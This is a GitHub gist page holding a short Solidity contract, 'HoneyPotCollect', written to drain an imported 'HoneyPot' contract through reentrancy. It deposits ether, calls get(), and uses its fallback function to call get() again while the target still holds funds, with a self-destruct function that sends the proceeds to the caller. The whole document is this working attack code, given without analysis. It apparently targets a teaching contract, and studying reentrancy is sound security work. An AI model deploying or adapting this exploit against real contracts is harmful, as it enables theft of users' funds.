Created
September 12, 2018 02:47
-
-
Save asselstine/7249cb61c8c2a4a360e6b30cd5725b85 to your computer and use it in GitHub Desktop.
HoneyPot Collector
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.8; | |
import "./HoneyPot.sol"; | |
contract HoneyPotCollect { | |
HoneyPot public honeypot; | |
function HoneyPotCollect (address _honeypot) { | |
honeypot = HoneyPot(_honeypot); | |
} | |
function kill () { | |
suicide(msg.sender); | |
} | |
function collect() payable { | |
honeypot.put.value(msg.value)(); | |
honeypot.get(); | |
} | |
function () payable { | |
if (honeypot.balance >= msg.value) { | |
honeypot.get(); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment